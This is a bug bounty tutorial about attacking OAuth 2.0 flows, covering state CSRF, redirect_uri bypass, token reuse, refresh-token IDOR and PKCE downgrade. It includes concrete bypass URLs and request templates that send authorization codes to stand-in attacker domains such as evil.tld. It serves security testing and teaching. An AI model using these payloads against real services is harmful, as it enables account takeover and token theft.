Intermediate levelWith account

OAuth attacks — state CSRF, redirect_uri bypass, token reuse, token IDOR

Vulnerabilities in OAuth 2.0 flows: missing state parameter, redirect_uri loose validation, cross-app token reuse, IDOR in token refresh endpoints.

Gorka El BochiMay 11, 202615 min

Stop reading about bugs and start hunting them

No card · free Academy · cancel anytime

Create free account

Quick answer

OAuth 2.0 is the most profitable target of 2026 — every implementation has its nuances and devs almost never read the whole spec. Four bugs exploit 80% of flows: state missing or not validated (CSRF in account linking → ATO), redirect_uri validated with lax suffix/regex (token leak to attacker domain), cross-app token reuse (token issued for client A valid for client B), and IDOR in /oauth/refresh (someone else's refresh renewed by the attacker). Bounties: €1,500-€15,000 depending on severity.


The authorization code flow (refresher)

ini
[Cliente]              [Authorization Server]            [Resource]
   |                            |                            |
   |  /authorize?client_id      |                            |
   |  &redirect_uri=...         |                            |
   |  &state=RANDOM             |                            |
   |  &response_type=code       |                            |
   |  ───────────────────────>  |                            |
   |                            |                            |
   |  302 redirect_uri?code=X   |                            |
   |  &state=RANDOM              |                            |
   |  <─────────────────────── |                            |
   |                            |                            |
   |  POST /token               |                            |
   |  code=X + client_secret    |                            |
   |  ───────────────────────>  |                            |
   |                            |                            |
   |  access_token + refresh    |                            |
   |  <─────────────────────── |                            |

Each step has its class of bug. Let's start with the most common.


Missing state parameter — CSRF in account linking

state is a random value the client generates, sends to /authorize, and verifies when it receives the callback. Without state, account linking is direct CSRF.

Scenario

Apps that allow "link my Google/Facebook account to my target.com account" usually have a flow:

css
1. User logged in target.com clica "Link Google"
2. target.com redirige a Google /authorize
3. Google → target.com/oauth/callback?code=X
4. target.com asocia ese code con la sesión actual del user

If target.com does not validate state, the attacker does:

css
1. Atacante inicia link de SU Google con SU cuenta target.com
2. Para en el paso 3 — captura code de Google
3. Engaña a víctima para visitar target.com/oauth/callback?code=ATACANTE
4. target.com asocia el code del atacante con la sesión de la víctima
5. Víctima ahora tiene la Google del atacante linkeada
6. Atacante logs out → "Sign in with Google" → entra como víctima

Typical bounty €3,000-€8,000 (full ATO).

Detection

http
GET /oauth/authorize?client_id=X&redirect_uri=Y&response_type=code
                                                    ← sin &state=

If the client doesn't send state → you already have the bug. If it sends it but always the same value or it's not validated in the callback → the same bug. Test: change the state in the callback, does the app still work? If yes → CSRF.


redirect_uri bypass — the gold mine

redirect_uri must be validated exactly against a whitelist. Any lax matching is exploitable.

Pattern 1 — prefix matching

javascript
if (redirectUri.startsWith("https://target.com")) accept();

Bypass:

perl
https://target.com.attacker.tld/callback
https://target.com@attacker.tld/callback
https://target.coma.attacker.tld          ← no termina con / o ?

Pattern 2 — suffix matching

javascript
if (redirectUri.endsWith("target.com/callback")) accept();

Bypass:

arduino
https://attacker.tld/target.com/callback

The attacker hosts /target.com/callback with a script that reads ?code= and exfiltrates.

Pattern 3 — subdomain wildcard too wide

javascript
const allowed = /^https:\/\/.*\.target\.com\/callback$/;

Bypass: if any subdomain is attacker-controlled (subdomain takeover, user content hosting, blog at pages.target.com/atacante/) → token leak.

Pattern 4 — open redirect in an allowed redirect_uri

redirect_uri = https://target.com/redirect?next=... — if target.com/redirect?next= allows a redirect to any URL, the code travels to your domain:

ini
redirect_uri=https://target.com/redirect?next=https://evil.tld
                ↓
authorization server redirige a target.com/redirect?next=...&code=X
                ↓
target.com/redirect redirige a evil.tld?code=X
                ↓
evil.tld recibe el code (en query string + via Referer)

Pattern 5 — path traversal in redirect_uri

bash
redirect_uri=https://target.com/callback/../../malicious
                                          ↑ normaliza a /malicious

Useful if the app mounts callbacks on sub-paths and another sub-path is user-controllable.

<!-- PAYWALL -->

Code interception via Referer

The authorization code travels in the callback's query string. If the callback page embeds third-party assets (image, font, analytics), those third parties receive the Referer with the code.

html
<!-- target.com/oauth/callback?code=ABC123 -->
<img src="https://analytics.evil.tld/pixel.gif">

analytics.evil.tld receives Referer: https://target.com/oauth/callback?code=ABC123. Typical bounty €500-€2,000 depending on impact.

Correct fix: Referrer-Policy: strict-origin or consume the code before render.


Cross-app token reuse

If two apps (app1.target.com and app2.target.com) share the same authorization server client_id, a token issued for app1 may be valid for app2 → unintended cross-app SSO.

Test

  1. Log into app1.target.com with Google.
  2. Capture the access_token.
  3. Send a request to app2.target.com/api/... with Authorization: Bearer <token>.
  4. Does it respond 200? Cross-app token reuse.

This is Critical when app1 is low-trust (consumer-facing) and app2 is high-trust (admin panel, internal tool).

Missing audience claim

OAuth JWTs should have aud (audience) — the client must verify that the aud matches its client_id. If the app doesn't verify aud, a token issued for client X is valid for client Y.

json
{
  "sub": "user42",
  "iss": "https://auth.target.com",
  "aud": "client-app1",        ← cliente debe verificar esto
  "exp": 1700000000
}

IDOR in /oauth/refresh

The refresh endpoint usually receives the refresh_token and issues a new access_token. If the endpoint does not validate that the refresh belongs to the current user:

http
POST /oauth/refresh
Authorization: Bearer ATACANTE_TOKEN
{"refresh_token": "REFRESH_DE_VICTIMA"}
                                          ← 200 OK con access_token de víctima

Source of someone else's refresh: leak via XSS, log, GraphQL introspection, source map. Pattern documented on H1 with bounties €2K-€10K.


response_type confusion — implicit flow attacks

response_type=token (implicit flow) returns the access_token directly in the URL fragment:

perl
https://app.target.com/callback#access_token=XXX&token_type=bearer

If the client accepts both code and token and the attacker can force response_type=token in a flow that normally uses code:

css
/authorize?client_id=X&redirect_uri=Y&response_type=token   ← downgrade a implicit

→ token in the fragment → exfiltrable via window.location.hash from an XSS or open redirect in the app.


PKCE bypass — public clients

PKCE protects public clients (SPA, mobile) that can't store a client_secret. The flow adds code_challenge (a hash of code_verifier) that the attacker can't regenerate.

Common bypass — optional PKCE

Some auth servers allow PKCE but don't require it. If the client sends it and the app doesn't verify it, the attacker makes a request to /token without PKCE:

http
POST /token
code=INTERCEPTADO              ← sin code_verifier
client_id=public_client_id

If the server accepts → PKCE downgrade → useful code interception.

Bypass via weak code_verifier

Some implementations accept code_verifier as an empty string. Test:

http
POST /token
code=X
code_verifier=                 ← vacío

Open redirect chain — the €3000 classic

The most profitable combination: open redirect in the target app + attacker-friendly redirect_uri.

ini
1. target.com tiene open redirect en /go?to=...
2. Atacante construye: 
   /authorize?redirect_uri=https://target.com/go&state=...
3. Auth server acepta (target.com está whitelisted)
4. Callback llega a target.com/go?code=X&state=Y
5. target.com/go redirige a evil.tld?code=X

evil.tld receives the code → gets access to the user's account.

Documented real bounty: €3,500-€8,000 depending on scope.


Hunting checklist

  • Capture the full OAuth flow (authorize + callback + token exchange).
  • Verify whether state is sent and whether it's validated (change the value in the callback).
  • Test redirect_uri with: prefix tricks (@, sub.original.com), suffix tricks, path traversal, subdomain wildcards.
  • Inspect the callback page for third-party assets → Referer leak of the code.
  • Same org has several apps? Test cross-app token reuse and aud verification.
  • Refresh endpoint — send someone else's refresh token from your session.
  • Change response_type=code to token — accepted?
  • PKCE: test the flow without code_verifier or with an empty value.
  • Open redirect in the target → chain with OAuth for a leak.
  • Account linking flow: CSRF via missing state → direct ATO.

Practice state CSRF, redirect_uri bypass, code interception and PKCE downgrade in OAuth labs.

Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

Practice this in a lab

Oauth Attacks State Csrf Redirect

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account
Premium · 1 more technique

There's an extra payload at the end

El bypass de redirect_uri usando suffix matching que afecta a 30+ apps top según mi research interno — pattern detectable en 1 request.

Unlock

€7.99/mo · cancel anytime

Related articles

4,183

hunters training

68

labs from real hacks

2,125

completions

$14,790

paid out for these bugs

6 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy

The community

This isn't a platform with users.It's people breaking the same things you are.

Inside people ask, share what they found and solve together what would block anyone on their own. It's free to join: no account, no plan, no email required.

Join the BBLABS community on Discord
Join the Discord

Free and open. You don't need a BBLABS account to join.